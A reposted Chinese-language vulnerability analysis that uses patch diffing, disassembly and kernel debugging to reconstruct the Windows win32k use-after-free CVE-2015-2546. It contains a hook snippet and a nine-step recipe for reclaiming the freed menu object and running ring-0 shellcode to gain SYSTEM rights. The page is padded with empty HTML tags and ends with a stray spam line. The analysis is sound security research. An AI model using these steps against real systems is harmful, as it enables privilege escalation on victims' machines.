<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/papers/9276

                    本月微軟安全公告MS15-097修復了Microsoft Graphics組件中多個內核漏洞。其中Win32k內存損壞特權提升漏洞:CVE-2015-2546(https://technet.microsoft.com/zh-CN/library/security/ms15-097.aspx)引起了筆者的注意。該漏洞是FireEye在9月8日發布的一份攻擊報告(https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/twoforonefinal.pdf)中發現的,攻擊者利用該漏洞可獲得系統SYSTEM權限。

                    查看微軟公告對該漏洞的描述:“如果 Windows 內核模式驅動程序不正確地處理內存中的對象,則 Windows 中存在多個特權提升漏洞。成功利用這些漏洞的攻擊者可以在內核模式下運行任意代碼。”沒有太多有效信息,筆者遂嘗試通過補丁比對來還原這個漏洞的細節。

                    CVE-2015-2546影響從win7 ~win10的眾多windows版本。鑒于win7上win32k的符號比較齊全,筆者選擇安裝win7 sp1 32位系統的補丁進行比對。

                    PatchDiff2得到的結果:

                    分析到xxxMNMouseMove函數所做的更改:

                    補丁代碼很直觀,在xxxSendMessage調用完成之后多了一處檢查。

                    研究過win32k內部機制可知:對于MenuWindow,tagWND+0xB0處存放的是其pPopupMenu的指針。因此這幾句是檢查回調之后tagMENUWND-> pPopupMenu是否被修改。

                    FireEye的報告中明確提到:CVE-2015-2546是一個tagPOPUPMENU對象的UAF。至此,筆者確定該漏洞的缺陷函數就是xxxMNMouseMove。

                    進一步分析xxxMNHideNextHierarchy函數之后,筆者得出整個漏洞的觸發流程:在xxxMNMouseMove函數中,xxxSendMessage(pwnd, 0x1F0,…)發起了一次用戶模式回調。在這次回調中,攻擊者可以銷毀Menu窗口從而釋放tagPOPUPMENU對象并占位重用。當回調返回內核之后,補丁前的xxxMNmouseMove并沒有對已釋放的pPopupMenu進行驗證。之后pPopupMenu被傳入xxxMNHideNextHierarchy,xxxMNHideNextHierarchy會對tagPOPUPMENU.spwndNextPopup發送消息:

                    .text:BF91C0AA __stdcall xxxMNHideNextHierarchy(x) proc near
                    .text:BF91C0AA ; CODE XREF: xxxMNButtonDown(x,x,x,x)+62p
                    .text:BF91C0AA ; xxxMNMouseMove(x,x,x)+18Ep
                    .text:BF91C0AA
                    .text:BF91C0AA ptl = dword ptr -0Ch
                    .text:BF91C0AA var_8 = dword ptr -8
                    .text:BF91C0AA pPopupMenu = dword ptr 8
                    .text:BF91C0AA
                    .text:BF91C0AA mov edi, edi
                    .text:BF91C0AC push ebp
                    .text:BF91C0AD mov ebp, esp
                    .text:BF91C0AF mov ecx, [ebp+pPopupMenu]
                    .text:BF91C0B2 sub esp, 0Ch
                    .text:BF91C0B5 push esi
                    .text:BF91C0B6 mov esi, [ecx+tagPOPUPMENU.spwndNextPopup]
                    .text:BF91C0B9 test esi, esi
                    .text:BF91C0BB jz short loc_BF91C104
                    .text:BF91C0BD mov eax, _gptiCurrent
                    .text:BF91C0C2 add eax, 0B4h ; pTL
                    .text:BF91C0C7 mov edx, [eax]
                    .text:BF91C0C9 mov [ebp+ptl], edx
                    .text:BF91C0CC lea edx, [ebp+ptl]
                    .text:BF91C0CF mov [eax], edx
                    .text:BF91C0D1 mov [ebp+var_8], esi
                    .text:BF91C0D4 inc [esi+tagWND.head.cLockObj]
                    .text:BF91C0D7 cmp esi, [ecx+tagPOPUPMENU.spwndActivePopup]
                    .text:BF91C0DA jz short loc_BF91C0EB
                    .text:BF91C0DC push 0 ; NumberOfBytes
                    .text:BF91C0DE push 0 ; MbString
                    .text:BF91C0E0 push 1E4h ; int
                    .text:BF91C0E5 push esi ; tagPOPUPMENU.spwndNextPopup
                    .text:BF91C0E6 call xxxSendMessage(x,x,x,x)
                    

                    攻擊者創建合適的對象占用被釋放的tagPOPUPMENU內存,構造好tagPOPUPMENU.spwndNextPopup的數據,即可達成內核任意代碼執行。

                    隨后,筆者嘗試構造POC來實現上述過程。

                    xxxMNMouseMove函數的工作原理:在PopupMenu的消息循環中,內核在消息隊列中取到了WM_NCMOUSEMOVE消息;或者xxxMenuWindowProc收到了MN_MOUSEMOVE消息,win32k都會調用xxxMNMouseMove函數來進行處理。

                    因此

                    xxxTrackPopupMenuEx->xxxMNLoop->xxxHandleMenuMessage->xxxMNMouseMove
                    xxxMenuWindowProc->xxxRealMenuWindowProc->xxxMNMouseMove
                    xxxSysComman->xxxMNLoop->xxxHandleMenuMessage->xxxMNMouseMove
                    //…
                    

                    等都是有可能的

                    該選擇哪條路徑呢?ba e1 win32k!xxxMNMouseMove探索一番

                    在桌面彈出右鍵菜單的時候:

                    0: kd> kb
                    ChildEBP RetAddr Args to Child
                    8d10ea8c 9036bbdb fe6c08e8 904557e0 0092002f win32k!xxxMNMouseMove
                    8d10eae8 9036b7b1 8d10eb08 904557e0 fe6c08e8 win32k!xxxHandleMenuMessages+0x2f2
                    8d10eb34 90371717 fe6c08e8 904557e0 00000000 win32k!xxxMNLoop+0x2fa
                    8d10eba0 90371802 fea19660 00000102 0000002f win32k!xxxTrackPopupMenuEx+0x5fd
                    8d10ec14 8288d1ea 001a01d3 00000102 0000002f win32k!NtUserTrackPopupMenuEx+0xc3
                    8d10ec14 76e370b4 001a01d3 00000102 0000002f nt!KiFastCallEntry+0x12a
                    0024e3ac 760e483e 760d2243 001a01d3 00000102 ntdll!KiFastSystemCallRet
                    0024e3b0 760d2243 001a01d3 00000102 0000002f USER32!NtUserTrackPopupMenuEx+0xc
                    0024e3d0 756272c9 001a01d3 00000102 0000002f USER32!TrackPopupMenu+0x1b
                    

                    點擊win32k窗口程序菜單:

                    0: kd> kb
                    ChildEBP RetAddr Args to Child
                    92e2fa50 90dabbdb 90e95860 90e957e0 00e900de win32k!xxxMNMouseMove
                    92e2faac 90dab7b1 92e2facc 90e957e0 90e95860 win32k!xxxHandleMenuMessages+0x2f2
                    92e2faf8 90dbdd69 90e95860 90e957e0 00e900de win32k!xxxMNLoop+0x2fa
                    92e2fb28 90d1fcc5 fea0f2b0 0000f095 00e900de win32k!xxxSysCommand+0x4a5
                    92e2fba4 90d2d417 fea0f2b0 00000112 0000f095 win32k!xxxRealDefWindowProc+0xc00
                    92e2fbbc 90cf8117 fea0f2b0 00000112 0000f095 win32k!xxxWrapRealDefWindowProc+0x2b
                    92e2fbd8 90d2d2d3 fea0f2b0 00000112 0000f095 win32k!NtUserfnDWORD+0x27
                    92e2fc10 828551ea 00030152 00000112 0000f095 win32k!NtUserMessageCall+0xcf
                    

                    看來執行到xxxMNMouseMove并不困難,但是筆者發現要執行到xxxSendMessage(pWnd, 0x1F0)就不容易了:

                    仔細分析xxxMNMouseMove函數代碼

                    .text:BF93CDC6 loc_BF93CDC6: ; CODE XREF: xxxMNMouseMove(x,x,x)+12Dj
                    .text:BF93CDC6 ; xxxMNMouseMove(x,x,x)+135j …
                    .text:BF93CDC6 xor edi, edi
                    .text:BF93CDC8 push edi ; NumberOfBytes
                    .text:BF93CDC9 push [ebp+pPopupMenu] ; MbString
                    .text:BF93CDCC push 1E5h ; int
                    .text:BF93CDD1 push esi ; Address
                    .text:BF93CDD2 call xxxSendMessage(x,x,x,x)
                    .text:BF93CDD7 test al, 10h
                    .text:BF93CDD9 jz short loc_BF93CE32
                    .text:BF93CDDB test al, 3
                    .text:BF93CDDD jnz short loc_BF93CE32
                    .text:BF93CDDF push edi ; NumberOfBytes
                    .text:BF93CDE0 push edi ; MbString
                    .text:BF93CDE1 push MN_SETTIMERTOOPENHIERARCHY ; int
                    .text:BF93CDE6 push esi ; spwndPopupMenu
                    .text:BF93CDE7 call xxxSendMessage(x,x,x,x) ; CallBack
                    .text:BF93CDEC test eax, eax
                    .text:BF93CDEE jnz short loc_BF93CE32
                    .text:BF93CDF0 push ebx ; fake_tagPopupMenu
                    .text:BF93CDF1 call xxxMNHideNextHierarchy(x) ; Trigger
                    

                    esi必須是一個窗口對象,而ebx必須是我們可以占位重用的PopupMenu

                    先看ebx的值從哪兒來:

                    .text:BF93CD67 mov eax, _gptiCurrent
                    .text:BF93CD6C add eax, 0B4h
                    .text:BF93CD71 mov ecx, [eax]
                    .text:BF93CD73 mov [ebp+var_C], ecx
                    .text:BF93CD76 lea ecx, [ebp+var_C]
                    .text:BF93CD79 mov [eax], ecx
                    .text:BF93CD7B mov [ebp+var_8], esi
                    .text:BF93CD7E inc dword ptr [esi+4]
                    .text:BF93CD81 mov edi, [edi+4]
                    .text:BF93CD84 mov ebx, [ebx+0B0h] //sizeof(tagWND) = 0xac
                    .text:BF93CD8A test edi, 100h
                    .text:BF93CD90 jz short loc_BF93CDC6
                    

                    0xB0剛好等于sizeof(tagWND) + 0x4,而ebx又是一個tagPOPUPMENU對象,那么在BF93CD84這句之前,ebx必須是一個MenuWnd!

                    再向前查看代碼:

                    .text:BF93CD49 push esi
                    .text:BF93CD4A call safe_cast_fnid_to_PMENUWND(x)
                    .text:BF93CD4F push esi
                    .text:BF93CD50 mov ebx, eax
                    .text:BF93CD52 call IsWindowBeingDestroyed(x)
                    .text:BF93CD57 test eax, eax
                    .text:BF93CD59 jnz loc_BF93CE41
                    .text:BF93CD5F test ebx, ebx ; tagMENUWND
                    .text:BF93CD61 jz loc_BF93CE41
                    

                    IsWindowBeingDestroyed只是檢查esi指向的pWnd狀態,ebx的值來自于safe_cast_fnid_to_PMENUWND。

                    查看safe_cast_fnid_to_PMENUWND函數,只是檢查pWnd->fnid,合適就將傳入的pWnd指針原封返回。

                    繼續追蹤esi的來源,終于發現esi指向的窗口對象來自這里:

                    .text:BF93CCA1 push esi
                    .text:BF93CCA2 mov [edi+0Ch], eax
                    .text:BF93CCA5 push ecx ; screenPt
                    .text:BF93CCA6 lea eax, [ebp+pPopupMenu]
                    .text:BF93CCA9 push eax ; pIndex
                    .text:BF93CCAA push ebx ; pPopupMenu
                    .text:BF93CCAB call xxxMNFindWindowFromPoint(x,x,x) //得到MenuWnd指針
                    .text:BF93CCB0 mov esi, eax
                    .text:BF93CCB2 push esi
                    .text:BF93CCB3 call IsMFMWFPWindow(x)
                    

                    然而筆者多次調試,發現這一步得到的返回值總是NULL:

                    1: kd> p
                    win32k!xxxMNMouseMove+0x4d:
                    90dabfc7 8bf0 mov esi,eax
                    1: kd> r eax
                    eax=00000000
                    

                    冷靜分析xxxMNFindWindowFromPoint函數,該函數實際上是根據當前鼠標的位置返回其指向的菜單窗口。然而,如果傳入的pPopupMenu->fIsMenuBar為1,該函數返回的只能是0或0xFFFFFFFB,0xFFFFFFFF幾個固定值。

                    查看一下我們傳入的pPopupMenu:

                    1: kd> dt tagPOPUPMENU 90e95860
                    win32k!tagPOPUPMENU
                    +0x000 fIsMenuBar : 0y1
                    +0x000 fHasMenuBar : 0y1
                    +0x000 fIsSysMenu : 0y0
                    //…
                    +0x000 flockDelayedFree : 0y0
                    +0x004 spwndNotify : 0xfea0f2b0 tagWND
                    +0x008 spwndPopupMenu : 0xfea0f2b0 tagWND
                    

                    這里的tagPOPUPMENU對象一直是內核自動創建的,fIsMenuBar這個字段初始化時就被置為1。

                    不過筆者發現如果pPopupMenu->spwndNextPopup不為NULL,xxxMNFindWindowFromPoint會向這個窗口發送MN_FINDMENUWINDOWFROMPOINT消息:

                    .text:BF93CE9E push eax ; NumberOfBytes
                    .text:BF93CE9F lea eax, [ebp+pPopupMenu]
                    .text:BF93CEA2 push eax ; MbString
                    .text:BF93CEA3 push MN_FINDMENUWINDOWFROMPOINT ; int
                    .text:BF93CEA8 push dword ptr [edi+0Ch] ; Address
                    .text:BF93CEAB call xxxSendMessage(x,x,x,x)
                    

                    于是筆者想到可以通過消息鉤子來控制這一步的返回值!

                    筆者編譯了一個包含兩級菜單的文檔視圖窗口程序,并且在消息鉤子函數中替換了菜單窗口的默認WndProc:

                    LRESULT CALLBACK MyWndProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
                    {
                    if (Msg == 0x1EB)
                    {
                    // __asm int 3;
                    return (LONG)g_hMenuWnd;
                    }
                    return DefWindowProc(hWnd, Msg, wParam, lParam);
                    }
                    

                    這樣xxxMNFindWindowFromPoint返回的就是我們事先創建的MenuWindow對象了。

                    1: kd> g
                    Breakpoint 1 hit
                    win32k!xxxMNMouseMove+0x48:
                    90dabfc2 e8a8010000 call win32k!xxxMNFindWindowFromPoint (90dac16f)
                    1: kd> r eax
                    eax=fe40f788 //pWnd    
                    
                    1: kd> dd fe40f788 + b0 l1
                    fe40f838 fe3e3588 //tagPOPUPMENU    
                    
                    1: kd> dt fe3e3588 tagPOPUPMENU
                    win32k!tagPOPUPMENU
                    +0x000 fIsMenuBar : 0y0
                    +0x000 fHasMenuBar : 0y0
                    +0x000 fIsSysMenu : 0y0
                    //…
                    +0x004 spwndNotify : (null)
                    +0x008 spwndPopupMenu : 0xfe40f788 指向PopupMenu所屬的tagWND對象
                    +0x00c spwndNextPopup : (null)
                    +0x010 spwndPrevPopup : (null)
                    

                    后面執行到

                    這里xxxSendMessage(pWnd, 0x1E5, …)的返回值還得控制一下,否則一直返回0。

                    在MenuWindow的窗口函數中處理0x1E5消息:

                    if (Msg == 0x1E5) //MN_SELECTITEM
                    {
                    //控制返回值
                    return 0x10;
                    }
                    

                    終于能執行到xxxMNHideNextHierarchy了:

                    最后,筆者還原出CVE-2015-2546的利用過程如下:

                    1. 創建一個有彈出式菜單的正常主窗口
                    2. 在某個固定地址Addr1分配內存,并在Addr1上構造一個fake_tag WND。其中fake_tagWND->bServerSideWindowProc置為1,fake_tagWND->lpfnWndProc指向Ring0ShellCode。
                    3. 用Accelerator Table對象制作出內存空洞。
                    4. 創建類名為”#32768”的窗口MenuWindow1,并用SetWindowLong替換其WndProc。
                    5. 創建消息鉤子,并在HookProc中處理MN_FINDWINDOWFROMPOINT消息和MN_SETTIMERTOOPENHIERARCHY消息。
                    6. 向主窗口發送WM_SYSCOMMAND消息或者模擬鼠標事件。
                    7. 系統創建的正常菜單窗口收到MN_FINDWINDOWFROMPOINT消息,返回MenuWindow1的句柄。
                    8. HookProc收到MN_SETTIMERTOOPENHIERARCHY消息,銷毀MenuWindow1,并創建Accelerator Table對象占用tagPOPUPMENU釋放的內存。
                    9. Fake_tagWND收到0x1E4消息,執行Ring0ShellCode。

                    觸發提權ShellCode:

                    利用成功截圖

                    PS:其實這個漏洞并不一定非得用Accelerator Table占位,有更好的對象適合用來控制占位數據。攻擊者使用Accelerator Table反而導致需要分配零頁內存:最終執行到xxxSendMessageTimeOut時,fakePopupMenu->spwndNextPopup正是占位的tagACCELTABLE.cAccel的值。如果選擇其他對象進行占位,完全可以在更高平臺利用這個漏洞。

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频